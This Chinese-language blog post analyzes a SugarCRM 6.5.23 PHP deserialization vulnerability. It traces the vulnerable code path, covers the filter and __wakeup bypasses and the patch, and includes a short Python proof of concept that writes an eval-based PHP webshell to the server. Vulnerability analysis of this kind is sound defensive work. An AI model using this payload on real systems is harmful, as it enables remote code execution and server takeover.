Lucifaer's Blog.

SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

Word count: 2,271 / Reading time: 10 min
2017/01/18 Share

免费广告…..推荐使用PHPSTORM+Xdebug来分析漏洞,下面的过程都是利用PHPSTORM来分析的。

这个是个去年的洞,当时出了的时候就仔细看了一下CVE-2016-7124(后面的班级对抗赛还出了一个关于这个漏洞的题),但是没有仔细的分析过在SugarCRM中的触发过程,或许是当时有点忙吧,或许是自己从404回来后缺乏了及时分析漏洞的氛围,整天忙于较为鸡肋课业,导致昏昏沉沉的荒废了一个学期。寒假的时候突然想着把那些没有分析过的漏洞再分析一遍,算是弥补遗憾吧。

就像上面说的,这洞是去年九月份爆出来的,正规的分析文档可以看由创宇小伙伴写的漏洞分析文档。我下面写的是我个人对于这个漏洞的一点分析过程,主要是从漏洞挖掘和漏洞分析来看一下这个洞。

0x00 漏洞概述

1. 漏洞简介

SugarCRM是一套开源的客户关系管理系统。在<6.5.23版本中存在反序列化漏洞,攻击者可以通过构造恶意序列化数据,达到任意代码执行的目的。

2. 漏洞影响版本

SugarCRM <= 6.5.23
PHP5 < 5.6.25
PHP7 < 7.0.10

0x01 漏洞复现

Dockerfile看小伙伴的吧,拖到phpstudy里也行= =。

0x02 漏洞分析

找到可控点

首先在service/core/REST/SugarRestSerialize.php中的serve函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
$er = new SoapError();
$er->set_error('invalid_call');
$this->fault($er);
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
if(!is_array($data))$data = array($data);
$GLOBALS['log']->info('End: SugarRestSerialize->serve');
return call_user_func_array(array( $this->implementation, $method),$data);
} // else
} // fn

$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';传入可控参数,代码写的很简单,在传入sugar_unserialize方法前,首先将传入参数传入from_html方法中,而这个方法是用来进行编码转换的,可以看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function from_html($string, $encode=true) {
if (!is_string($string) || !$encode) {
return $string;
}

global $toHTML;
static $toHTML_values = null;
static $toHTML_keys = null;
static $cache = array();
if (!empty($toHTML) && is_array($toHTML) && (!isset($toHTML_values) || !empty($GLOBALS['from_html_cache_clear']))) {
$toHTML_values = array_values($toHTML);
$toHTML_keys = array_keys($toHTML);
}

// Bug 36261 - Decode &amp; so we can handle double encoded entities
$string = str_ireplace("&amp;", "&", $string);

if (!isset($cache[$string])) {
$cache[$string] = str_ireplace($toHTML_values, $toHTML_keys, $string);
}
return $cache[$string];
}

小窍门,对于这样的方法,其实可以往上面翻一翻,看一看关于这个方法的注释….额,就是这样,直接过….

1
2
3
4
5
6
/**
* Replaces specific HTML entity values with the true characters
* @param string $string String to check/replace
* @param bool $encode Default true
* @return string
*/

重点看一下sugar_unserialize方法,PHPSTORM的话,直接圈住这个方法名,Command+B就跳转到该方法了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* Performs unserialization. Accepts all types except Objects
*
* @param string $value Serialized value of any type except Object
* @return mixed False if Object, converted value for other cases
*/
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);

if (count($matches)) {
return false;
}

return unserialize($value);
}

可以看到注释中写到的是,(翻译)执行反序列化。接受除对象外的所有类型,读一下正则,可以看到只是过滤了o:123这样的形式,但是并没有过滤完整,可以通过o:+123123的方式绕过(以前php4fun做过一道类似的

不难发现,如果我们想要利用这个漏洞,需要传入rest_datamethodserve函数的作用就是在实施代码的类中调用指定的方法,并且返回结果。

顺着这个思路找一下哪里调用我们的serve方法。这个时候看一下目录结构,发现我们找到的漏洞触发点在/service/core/REST目录下:1

打开v2v3v4中的一个目录中的rest.php文件,发现这是不同版本rest的入口文件,主要提供了sugarcrmwebserver服务。

这边说的是看目录结构的思路,其实比较简单的方法就是全局搜索service/core/,来查看哪些地方require了该文件,配合查看目录结构,非常的方便。

在这里我们可以想到整个service目录就是提供网络服务的目录,跟一下rest.php中的代码:

1
2
3
4
5
6
7
8
9
chdir('../..');
require_once('SugarWebServiceImplv4.php');
$webservice_class = 'SugarRestService';
$webservice_path = 'service/core/SugarRestService.php';
$webservice_impl_class = 'SugarWebServiceImplv4';
$registry_class = 'registry';
$location = '/service/v4/rest.php';
$registry_path = 'service/v4/registry.php';
require_once('service/core/webservice.php');

前面都是一些变量的初始化,直接跟进service/core/webservice.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ob_start();
chdir(dirname(__FILE__).'/../../');
require('include/entryPoint.php');
require_once('soap/SoapError.php');
require_once('SoapHelperWebService.php');
require_once('SugarRestUtils.php');
require_once($webservice_path);
require_once($registry_path);
if(isset($webservice_impl_class_path))
require_once($webservice_impl_class_path);
$url = $GLOBALS['sugar_config']['site_url'].$location;
$service = new $webservice_class($url);
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

// set the service object in the global scope so that any error, if happens, can be set on this object
global $service_object;
$service_object = $service;

$service->serve();

根据前面的变量定义,这里我们可以明显的看出调用关系:

1
2
$url = ip地址/service/v4/rest.php
$service = new SugarRestService($url)

跟进service/core/SugarRestService.php

1
2
3
4
5
6
7
8
9
10
function __construct($url){
$GLOBALS['log']->info('Begin: SugarRestService->__construct');
$this->restURL = $url;

$this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
$this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
$GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
require_once('service/core/REST/'. $this->serverClass . '.php');
$GLOBALS['log']->info('End: SugarRestService->__construct');
}

看一下_getTypeName

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected function _getTypeName($name)
{
if(empty($name)) return 'SugarRest';

$name = clean_string($name, 'ALPHANUM');
$type = '';
switch(strtolower($name)) {
case 'json':
$type = 'JSON';
break;
case 'rss':
$type = 'RSS';
break;
case 'serialize':
$type = 'Serialize';
break;
}
$classname = "SugarRest$type";
if(!file_exists('service/core/REST/' . $classname . '.php')) {
return 'SugarRest';
}
return $classname;
}

在这里可以通过构造input_type = serialize来使$this->serverClass = SugarRestSerialize,接下来:

1
2
3
$service->registerClass($registry_class);
$service->register();
$service->registerImplClass($webservice_impl_class);

SugarRestSerialize类进行注册,在这三个函数调用的过程中在registerImplClass方法中:

1
$this->server = new $this->serverClass($this->implementation);

在最后调用$service->serve();中:

1
2
3
4
5
6
7
8
9
10
11
function serve(){
$GLOBALS['log']->info('Begin: SugarRestService->serve');
require_once('service/core/REST/'. $this->responseClass . '.php');
$response = $this->responseClass;

$responseServer = new $response($this->implementation);
$this->server->faultServer = $responseServer;
$responseServer->faultServer = $responseServer;
$responseServer->generateResponse($this->server->serve());
$GLOBALS['log']->info('End: SugarRestService->serve');
}

其中$responseServer->generateResponse($this->server->serve());也就是调用了SugarRestSerialize.php中的serve方法,从而将我们构造好的序列化参数传递过去。

漏洞触发点

从上面的分析中,我们已经知道了从哪里传入构造的序列化,传输过程。现在需要找的就是漏洞利用点,也就是漏洞触发点。

我们都知道现在只需要在序列化参数中传入需要反序列化的文件名,以及方法名,就可以将构造好的poc传递过去。

关于找漏洞触发点,可以全局搜索危险函数名,以及通读代码来完成(耗费很多时间,并且没有一定的经验容易乱)。

include/SugarCache/SugarCacheFile.php找到漏洞利用点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __destruct()  
{
parent::__destruct();

if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}

/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}

可以看到在__wakeup魔术方法中,会将我们传递过来的数据清零,现在需要绕过该魔术方法,利用构造的序列化参数实现__destrcut中的写操作,绕过方法利用的就是CVE-2016-7124

在来看一下sugar_file_put_contents

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){  
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}

if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}

if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}

函数并没有对文件内容或者扩展名等进行限制,虽然参数$data是serialize($this->_localStore),也就是序列化后的数据,但是我们可以设置$_this->_localStore为一个数组,把payload作为数组中的一个值,就可以完整保存payload。(反正就是执行一个写操作,php序列化数组后并不会对数组的值进行干扰)

所以,传入一个SugarCacheFile对象,并设置其属性的值,就能进行写文件操作。

demo的话:

1
2
3
4
5
6
7
8
9
10
import requests as req

url = 'http://127.0.0.1:8788/service/v4/rest.php'

data = {
'method': 'login',
'input_type': 'Serialize',
'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/shell.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'Lucifaer\']); ?>";}}',
}
req.post(url, data=data)

shell在custom/shell.php

恩,就是这样了。

0x03 补丁diff

在v6.5.24中,对sugar_unserialize进行了如下改进:

1
2
3
4
5
6
7
8
function sugar_unserialize($value)  
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}

经过了前面的分析,可以看到对象类型的序列化参数无法禁止反序列化了。

0x04 修复方案

升级SugarCRM到最新版本

对于php版本的升级并不是很建议,因为在一些高版本的php上,环境搭建可能会出现问题。

CATALOG
  1. 1. 0x00 漏洞概述
    1. 1.1. 1. 漏洞简介
    2. 1.2. 2. 漏洞影响版本
  2. 2. 0x01 漏洞复现
  3. 3. 0x02 漏洞分析
    1. 3.1. 找到可控点
    2. 3.2. 漏洞触发点
  4. 4. 0x03 补丁diff
  5. 5. 0x04 修复方案